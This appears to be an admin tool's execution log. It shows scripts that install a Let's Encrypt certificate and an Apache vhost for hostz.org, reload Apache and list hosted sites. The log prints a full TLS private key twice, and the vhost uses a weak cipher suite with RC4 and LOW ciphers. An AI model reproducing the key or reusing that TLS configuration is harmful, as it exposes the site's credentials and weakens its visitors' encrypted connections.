fb026zZkI5PXcp/SbrDXy+B0wac84kj6AgpCFV87rl+CSB5fh5CSQKrf3EAZe2ZC
AIQoqn7ouiTIWcZ41XJHSilgICVhuHQMlUbDlp2LpsyK/G5HUW1t/EXgC6vf2lvj
4nATkb92qT9AkwqnUuUiH/nUbwKBgQDZaDIdwHSJ6WDWqQKiZBEKhDkhOIsnnAwm
+4WhZsucSMhdZr0rJpjNN0n3kqkpDt+QQGWG0sGJn0h1Pcak+6C2VZQxdE7wrAv+
koWDlz2FXzNOYRyNJ2HdP7TUD0hj3ZFNUhKZuWO9Zm3TF0bdiPTfaKNuyI1L299R
WNhZER4OJwKBgQDbiqsX8AkxDbFmWUw/K0q0WPjMOApD4Pk/waqYbN1CLSkvibHR
wlLCj/7VmpetNZoR0tX4Uvw/EXfipfCc5f7Fgh7jF58c5Iz0gc3JzHy33ZX/Fr8U
wMgBfehn1hRWV5D42FKMI14lF2FL+Jc4R7DZVrzNFqaB7Qonpc6v7o/bhQKBgQDE
bMu67cNdRypjR9hFeDudUNF9HmU7qFWicuXNad7UmT3OhaCsd/bekvGVaUDFA9ch
sc0I/yo1eWAx7VqofWA63R9Df15DPG6p1yAiQGcpNVZZnov5THezOnfakORKtkkt
ntWHZmSjHwRjEEjKp472usfOtAxVWZZvHOJ7tmd9SQKBgEZnPLue6hFP6gjD/4PX
fTs6VKQFjgGD9KAk4MeLSlXf8OMx0xuDdGl6K9OZDaAheGEE0HY6y7jM4a15MKKX
bgy4n/dldUEeP8i62Hc+lbnYE7LgiRHDip2NTSgnxNkTTHrWp6hoWO4XBqtvS8SJ
ZzDdsbiaIqc8y6gwrRlVyAoT
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-08 12:18:36: 

chmod 755 /tmp/pkp480968; /tmp/pkp480968; rm /tmp/pkp480968

2026-04-08 12:18:36: 


dir=/etc/ssl/certs


2026-04-08 12:18:36: 

PUT: /tmp/pkp583079

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hostz_www_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-08 12:18:36: 

chmod 755 /tmp/pkp583079; /tmp/pkp583079; rm /tmp/pkp583079

2026-04-08 12:18:36: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_www_org.conf 37

<VirtualHost *:80>
    ServerName	hostz.org
    ServerAlias	www.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_www
    <Directory /var/www/hostz_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/www_access.log combined
    ErrorLog	/var/log/apache2/hostz/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	hostz.org
    ServerAlias	www.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d.crt
    DocumentRoot	/var/www/hostz_www
    <Directory /var/www/hostz_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-04-08 12:18:36: 

PUT: /tmp/pkp328330

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_www_org.conf
TARGET=/etc/apache2/sites-enabled/hostz_www_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	hostz.org
    ServerAlias	www.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_www
    <Directory /var/www/hostz_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/www_access.log combined
    ErrorLog	/var/log/apache2/hostz/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	hostz.org
    ServerAlias	www.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d.crt
    DocumentRoot	/var/www/hostz_www
    <Directory /var/www/hostz_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hostz_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hostz_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_www_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hostz_www_org.conf= 1'
fi


2026-04-08 12:18:36: 

chmod 755 /tmp/pkp328330; /tmp/pkp328330; rm /tmp/pkp328330

2026-04-08 12:18:36: 




2026-04-08 12:18:36: 

PUT: /tmp/pkp622036

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-08 12:18:36: 

chmod 755 /tmp/pkp622036; /tmp/pkp622036; rm /tmp/pkp622036

2026-04-08 12:18:36: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-08 12:18:36: Establishing a connection
2026-04-08 12:18:36: 

PUT: /tmp/pkp869295

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-08 12:18:36: 

chmod 755 /tmp/pkp869295; /tmp/pkp869295; rm /tmp/pkp869295

2026-04-08 12:18:36: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:2)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:22)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-08 12:18:36: 

PUT: /tmp/pkp650672

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hostz_www_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-08 12:18:36: 

chmod 755 /tmp/pkp650672; /tmp/pkp650672; rm /tmp/pkp650672

2026-04-08 12:18:36: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_www_org.conf	1202

<VirtualHost *:80>
    ServerName	hostz.org
    ServerAlias	www.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_www
    <Directory /var/www/hostz_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/www_access.log combined
    ErrorLog	/var/log/apache2/hostz/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	hostz.org
    ServerAlias	www.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d.crt
    DocumentRoot	/var/www/hostz_www
    <Directory /var/www/hostz_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-04-08 12:18:36: 

PUT: /tmp/pkp969316

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-08 12:18:36: 

chmod 755 /tmp/pkp969316; /tmp/pkp969316; rm /tmp/pkp969316

2026-04-08 12:18:36: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d.crt	5352
17:1b:b7:dd:2f:39:e7:0a:af:32:f1:50:1a:b6:ab:b3

-----BEGIN CERTIFICATE-----
MIIE/DCCA+SgAwIBAgISBq3a500s0osUkMuOXcnZgHpkMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDA4MTEyMDA0WhcNMjYwNzA3MTEyMDAzWjAUMRIwEAYDVQQD
Ewlob3N0ei5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDBANoy
l58ZGvT751JwRCrmVBV87ViVGgoAKa3B00KZzCmnms+78AXTQCxjWHefiafOiYYP
zSGMh7hEoy0Cyxu8PwddPtMya79ip7dEFCXy/Jiv9at72xnAzj+IwIXMFmtzBrSw
xWY40OGg2M1kR8OJu4yhlS7l/tnvc4yEw02fa5jFvQNIz4RZUAaDFLRN/Mcr7raU
qldQSu9aEQZGm2v7gK7gHpngr7jhNR1VfhDmYczry4Ubsm/zajYAMBIWjbnHtoYT
JLhY9qqudHq1nkCM/fbw1Qaj4lICfxBQxmYavO5P80psZmVEdWbyxyDMa5J8yE5y
uxyYVTKInuvMr27pAgMBAAGjggInMIICIzAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0l
BAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUO7QtWYIX4LxN
+9uQ5Un/V2XnbYcwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKEDjvWkjMwMwYI
KwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmkubGVuY3Iub3Jn
LzAjBgNVHREEHDAagglob3N0ei5vcmeCDXd3dy5ob3N0ei5vcmcwEwYDVR0gBAww
CjAIBgZngQwBAgEwLwYDVR0fBCgwJjAkoCKgIIYeaHR0cDovL3IxMy5jLmxlbmNy
Lm9yZy8xMDEuY3JsMIIBDAYKKwYBBAHWeQIEAgSB/QSB+gD4AHYA1219ENGn9XfC
x+lf1wC/+YLJM1pl4dCzAXMXwMjFaXcAAAGdbQezCAAABAMARzBFAiAG4GXExG06
3YoxHMSMbe7X1hGG8ta1BZ2Rjq39zlzJ9wIhANOYXVAMQyWJkgHd/awhENdUU437
bbqP5+oVxekOjBnlAH4AJuNkblhpISO8ND9HJDWbN5LNJFqI2BXTkzP9mRirRyMA
AAGdbQezQwAIAAAFAAV+OqwEAwBHMEUCIQCsg23+0XL0DDzr/KvGK873l9w2gARt
kiVddH5DYoU2igIgM55M1+/QlcKkUkKvrexiA0ZTe8wWQiSVT0cez2i1hBowDQYJ
KoZIhvcNAQELBQADggEBAD495bo2b0al6ZIsOrLftAgwtsT8qrGst6XKrJ0XjrFk
dkFD4wsnkfhmiOjFSB5FZ/65S2WlpUO7ThgAcn2fuSwGxclqhAwvRDWZnDGiGmf9
nh1JhfbpAdBvS8TWSPTyt4cwTDAS/mKUMF2ON+VDGDk/N5mQcxOV//oI+SS/+MUB
Z69ESbtbeqwo1F+vztXWyqoTuKl/iRGsT4gFVZrBCOfH0+57qrib+3bMFEl1uM1D
qX5Ctr7pRQBcgUoXZsNLTOuHq2hH3KeK8NVxOHEEbibKdj2IkLnYf/3Xh/1iPvGi
FQMAz073UusJX7aJ+Yuf91x0UW0etnfwz3Mab0k+doM=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDBANoyl58ZGvT7
51JwRCrmVBV87ViVGgoAKa3B00KZzCmnms+78AXTQCxjWHefiafOiYYPzSGMh7hE
oy0Cyxu8PwddPtMya79ip7dEFCXy/Jiv9at72xnAzj+IwIXMFmtzBrSwxWY40OGg
2M1kR8OJu4yhlS7l/tnvc4yEw02fa5jFvQNIz4RZUAaDFLRN/Mcr7raUqldQSu9a
EQZGm2v7gK7gHpngr7jhNR1VfhDmYczry4Ubsm/zajYAMBIWjbnHtoYTJLhY9qqu
dHq1nkCM/fbw1Qaj4lICfxBQxmYavO5P80psZmVEdWbyxyDMa5J8yE5yuxyYVTKI
nuvMr27pAgMBAAECggEADchJzKMXMWvDYtm6AVpc1eXbQviQAtXBMRHI3rZ/Yww5
TUa43urc/6DtioqewD3MRet8L1SuuKJYfk5IwJJQgLjfhcEew9L978WaSLpHm3p+
TNJ2VHno9OPFlbZp15EiSyyHargt/JCuDBZvVGHrjMJf4IoOt03jsj3GIxTvThr5
JMAFpzVZ4PrPXZjghWktE7DhivAodUcsuNwahvnovJ5DoiaU7y+4TGtRY/SeNAcl
m5F6DX0yqQzsLR4EzfX+6ZK5+bLKCN3k63ur8rOhRPAwht7UCA8On+DxG5rgsTbU
WIRCl1oTyunRiONYDE20xlMHlJF0qgCGOUfACtxfoQKBgQDjQ6j1xCSn0iOuTEXP
fb026zZkI5PXcp/SbrDXy+B0wac84kj6AgpCFV87rl+CSB5fh5CSQKrf3EAZe2ZC
AIQoqn7ouiTIWcZ41XJHSilgICVhuHQMlUbDlp2LpsyK/G5HUW1t/EXgC6vf2lvj
4nATkb92qT9AkwqnUuUiH/nUbwKBgQDZaDIdwHSJ6WDWqQKiZBEKhDkhOIsnnAwm
+4WhZsucSMhdZr0rJpjNN0n3kqkpDt+QQGWG0sGJn0h1Pcak+6C2VZQxdE7wrAv+
koWDlz2FXzNOYRyNJ2HdP7TUD0hj3ZFNUhKZuWO9Zm3TF0bdiPTfaKNuyI1L299R
WNhZER4OJwKBgQDbiqsX8AkxDbFmWUw/K0q0WPjMOApD4Pk/waqYbN1CLSkvibHR
wlLCj/7VmpetNZoR0tX4Uvw/EXfipfCc5f7Fgh7jF58c5Iz0gc3JzHy33ZX/Fr8U
wMgBfehn1hRWV5D42FKMI14lF2FL+Jc4R7DZVrzNFqaB7Qonpc6v7o/bhQKBgQDE
bMu67cNdRypjR9hFeDudUNF9HmU7qFWicuXNad7UmT3OhaCsd/bekvGVaUDFA9ch
sc0I/yo1eWAx7VqofWA63R9Df15DPG6p1yAiQGcpNVZZnov5THezOnfakORKtkkt
ntWHZmSjHwRjEEjKp472usfOtAxVWZZvHOJ7tmd9SQKBgEZnPLue6hFP6gjD/4PX
fTs6VKQFjgGD9KAk4MeLSlXf8OMx0xuDdGl6K9OZDaAheGEE0HY6y7jM4a15MKKX
bgy4n/dldUEeP8i62Hc+lbnYE7LgiRHDip2NTSgnxNkTTHrWp6hoWO4XBqtvS8SJ
ZzDdsbiaIqc8y6gwrRlVyAoT
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
